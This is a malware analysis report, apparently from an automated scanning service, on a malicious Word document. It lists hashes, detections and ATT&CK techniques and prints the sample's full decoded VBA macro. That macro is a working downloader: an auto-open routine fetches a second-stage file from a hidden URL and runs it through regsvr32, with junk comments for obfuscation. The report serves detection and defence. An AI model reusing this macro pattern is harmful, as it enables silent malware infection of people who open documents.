Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 d6e51057214555ee…

MALICIOUS

Office (OOXML)

116.0 KB Created: 2020-07-20 09:11:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-09-07
MD5: 47b81c23e918ac3179e797b3dda7fa90 SHA-1: d97bba756d48fc6f849816f10e988359ed14bb5f SHA-256: d6e51057214555ee71468575f08afe5128bda94e6539bbab8b89fb36121de10a
210 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample is a malicious OOXML document containing a VBA macro. The 'autoopen' subroutine is triggered upon opening, which uses the 'URLDownloadToFile' function to download a file named 'c2.pdf' from an embedded URL. Subsequently, it executes the downloaded file using the 'Shell' function. This indicates a downloader pattern designed to fetch and run a second-stage payload.

Heuristics 6

  • ClamAV: Doc.Downloader.GreenBox5-9139204-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.GreenBox5-9139204-0
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    ' Ner azerbaijan photographs
Shell wu & bn & "32 c2.pdf"
End Sub
  • URLDownloadToFile in VBA critical OLE_VBA_DOWNLOAD
    URLDownloadToFile in VBA
    Matched line in script
    #If VBA7 And Win64 Then
Public Declare PtrSafe Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal xp As LongPtr, ByVal Tb As String, ByVal ej As String, ByVal i0 As LongPtr, ByVal zn As LongPtr) As Long
#Else
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Function
Sub autoopen()
au = ActiveDocument.CustomXMLParts(ActiveDocument.CustomXMLParts.Count).SelectNodes("//Items")(1).ChildNodes(2).Text
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas Referenced by macro
    • http://schemas.microsoft.com/office/drawing/2014/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexReferenced by macro
    • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/inkReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2017/model3dReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2012/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2018/wordml/cexReferenced by macro
    • http://schemas.microsoft.com/office/word/2016/wordml/cidReferenced by macro
    • http://schemas.microsoft.com/office/word/2018/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2015/wordml/symexReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 3689 bytes
SHA-256: 883a570f1eae946b7240c9f5390aa4bfdf02bb7e03bd992a349b971c950a36e4
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "nb"
Function q2(AP)
    
' Recommends hoc wheedle inlet

' Capable panel
' Menial dictatorial disclaimer implication winnipeg insider
' Mailing caretaker lb greenery ins whitening
' Hulk gardening suavity left-handed stay
' Idea bond conjunctions
' Befriend rancor toll
' Mas reunion

' Insertion lute
' Uninteresting wma unaided dd
' Nipple
' Leavings certificate

' Criticize suits temple bit collegiate volvo
' Remained

' Burgomaster allocation
' Tanker spaces accelerated

' Fireman hdtv gradation melissa tag
' Wright reprimand recommend collecting bilious
' Certificate incoming representative pointer augmentation strain dressed
' Fossil freeware
End Function
Sub autoopen()
au = ActiveDocument.CustomXMLParts(ActiveDocument.CustomXMLParts.Count).SelectNodes("//Items")(1).ChildNodes(2).Text

' Credits colds highlander declined appeared
' Hardware lawsuit
' Mild fatalism

' Gaoler lath limits approximately
' Wildcat revisions jc get
' Ostentatious
frm.download au, "c2.pdf"

' Terminal evade
' Solicitor gory nationally
' Thong storage cm
' Collector resists willing
' Postulate recover
' Celebrity arrives

' Mp
' Twenty-nine sot caucasus

' Extra consult economically therell
' Confederation deadlock bibliographic blanket examining

' Moi inscrutable hiv chunks ottoman arising
' Ner azerbaijan photographs
Shell wu & bn & "32 c2.pdf"
End Sub

Attribute VB_Name = "nb1"
Sub e4()

' Countryside manger martinique madras constitutes brokers federal
' Citizen mil rust pant dependence ve
' Agreeing speeds stockade newest forty-two junk
' Wmo

' Smtp hell tyrol
' Guarantees

' Grants coasted afghan sealing probably
' Save sexton draper mins
' Guidance m

' Extensions tirade boobs
' Louse pdas
' Personal kill mins flippant advocacy investigations

' Guarantee decoy
' Dealt outreach lyrics compound mit
' Thousandth havana greenhouse rig termination

' Chute zodiac betrayer
' Alison

' Reverse johannes situation foods
' Counsellor ohg.
' Ironing confusing

' Supported bald-headed seacoast pill try
' Dominate dung
' Ismail destroyed
' Victims locked possession

' Fifty-four madcap
' Fetching extradition
' Bridesmaid brocade

' Departments sloop ultram
' Screwed surrounding pumps

' Oratorical
' Amanda

' Whitewash malayan break
' Bookmark dairy isa visible schooling
' Midsummer olympus conservatory
End Sub

Attribute VB_Name = "e"
Public Const wu As String = "reg"
Public Const bn As String = "svr"
#If VBA7 And Win64 Then
Public Declare PtrSafe Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal xp As LongPtr, ByVal Tb As String, ByVal ej As String, ByVal i0 As LongPtr, ByVal zn As LongPtr) As Long
#Else
Public Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA"(ByVal xp As Long, ByVal Tb As String, ByVal ej As String, ByVal i0 As Long, ByVal zn As Long) As Long
#End If

Attribute VB_Name = "frm"
Attribute VB_Base = "0{8BD06896-6AF2-479F-850C-37E7334E8E28}{88EBE2F1-9C08-469A-AF52-7741F7107601}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Public Sub download(url, file)
    URLDownloadToFile 0, url, file, 0, 0
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 26624 bytes
SHA-256: 9f3e341958fa206de3087dc399ce2044067a89d77aa4eef0912d45ebe270f486

Open this report in the interactive analyzer, or submit your own file for analysis.